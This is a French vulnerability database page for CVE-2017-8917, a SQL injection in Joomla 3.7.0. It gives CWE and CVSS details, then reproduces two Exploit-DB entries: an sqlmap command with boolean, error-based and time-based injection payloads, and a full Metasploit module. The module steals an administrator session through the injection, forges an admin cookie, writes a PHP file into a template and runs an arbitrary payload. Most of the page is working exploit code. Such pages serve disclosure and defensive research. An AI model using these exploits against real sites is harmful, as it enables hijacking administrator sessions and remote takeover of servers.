Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-89 |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.0 |
9.8 |
CRITICAL |
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
nvd@nist.gov |
| V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 42033
Date de publication : 2017-05-18 22h00 +00:00
Auteur : Mateus Lino
EDB Vérifié : No
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
Parameter: list[fullordering] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (DUAL)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
Exploit Database EDB-ID : 44358
Date de publication : 2018-03-28 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Joomla
def initialize(info={})
super(update_info(info,
'Name' => 'Joomla Component Fields SQLi Remote Code Execution',
'Description' => %q{
This module exploits a SQL injection vulnerability in the com_fields
component, which was introduced to the core of Joomla in version 3.7.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mateus Lino', # Vulnerability discovery
'luisco100 <luisco100[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2017-8917' ], # SQLi
[ 'EDB', '42033' ],
[ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ]
],
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as POST data, so
# really it's unlimited
'Space' => 262144, # 256k
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Joomla 3.7.0', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'May 17 2017',
'DefaultTarget' => 0))
end
def check
# Request using a non-existing table
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
if val.nil?
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Vulnerable
end
end
def sqli(tableprefix, option)
# SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in).
# The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history.
# This way we make sure that's excluded and we only get real Administrator or Super User sessions.
if option == 'check'
start = rand_text_alpha(5)
start_h = start.unpack('H*')[0]
fin = rand_text_alpha(5)
fin_h = fin.unpack('H*')[0]
sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))"
else
start = rand_text_alpha(3)
start_h = start.unpack('H*')[0]
fin = rand_text_alpha(3)
fin_h = fin.unpack('H*')[0]
sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))"
end
# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'option' => 'com_fields',
'view' => 'fields',
'layout'=> 'modal',
'list[fullordering]' => sql
}
})
if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/
return $1
end
return nil
end
def exploit
# Request using a non-existing table first, to retrieve the table prefix
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
if val.nil?
fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
else
table_prefix = Base64.decode64(val)
table_prefix.sub! '_session', ''
print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
end
# Retrieve the admin session using our retrieved table prefix
val = sqli("#{table_prefix}_", 'exploit')
if val.nil?
fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!")
else
auth_cookie_part = val
print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]")
end
# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php')
})
if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
cookie_begin = $1
print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
else
fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
end
# Modify cookie to authenticated admin
auth_cookie = cookie_begin
auth_cookie << '='
auth_cookie << auth_cookie_part
auth_cookie << ';'
# Authenticated session
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie
})
if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/
print_good("#{peer} - Successfully authenticated")
else
fail_with(Failure::Unknown, "#{peer} - Session failure")
end
# Retrieve template view
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'templates'
}
})
# We try to retrieve and store the first template found
if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/
template_id = $1
file_id = $2
form = res.body.split(/<form action=([^\>]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi)
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
input_id = input_hidden[7].split("\"")
input_id = input_id[1]
else
fail_with(Failure::Unknown, "Unable to retrieve template")
end
filename = rand_text_alphanumeric(rand(10)+6)
# Create file
print_status("#{peer} - Creating file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'task' => 'template.createFile',
'id' => template_id,
'file' => file_id,
},
'vars_post' => {
'type' => 'php',
'address' => '',
input_id => '1',
'name' => filename
}
})
# Grab token
if res && res.code == 303 && res.headers['Location']
location = res.headers['Location']
print_status("#{peer} - Following redirect to [ #{location} ]")
res = send_request_cgi(
'uri' => location,
'method' => 'GET',
'cookie' => auth_cookie
)
# Retrieving template token
if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/
token = $1
print_status("#{peer} - Token [ #{token} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
end
if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
template_path = $1
print_status("#{peer} - Template path [ #{template_path} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
end
else
fail_with(Failure::Unknown, "#{peer} - Creating file failed")
end
filename_base64 = Rex::Text.encode_base64("/#{filename}.php")
# Inject payload data into file
print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'template',
'id' => template_id,
'file' => filename_base64,
},
'vars_post' => {
'jform[source]' => payload.encoded,
'task' => 'template.apply',
token => '1',
'jform[extension_id]' => template_id,
'jform[filename]' => "/#{filename}.php"
}
})
if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
else
fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
end
# Request payload
register_files_for_cleanup("#{filename}.php")
print_status("#{peer} - Executing payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
'cookie' => auth_cookie
})
end
end
Products Mentioned
Configuraton 0
Joomla>>Joomla\! >> Version 3.7.0
Références
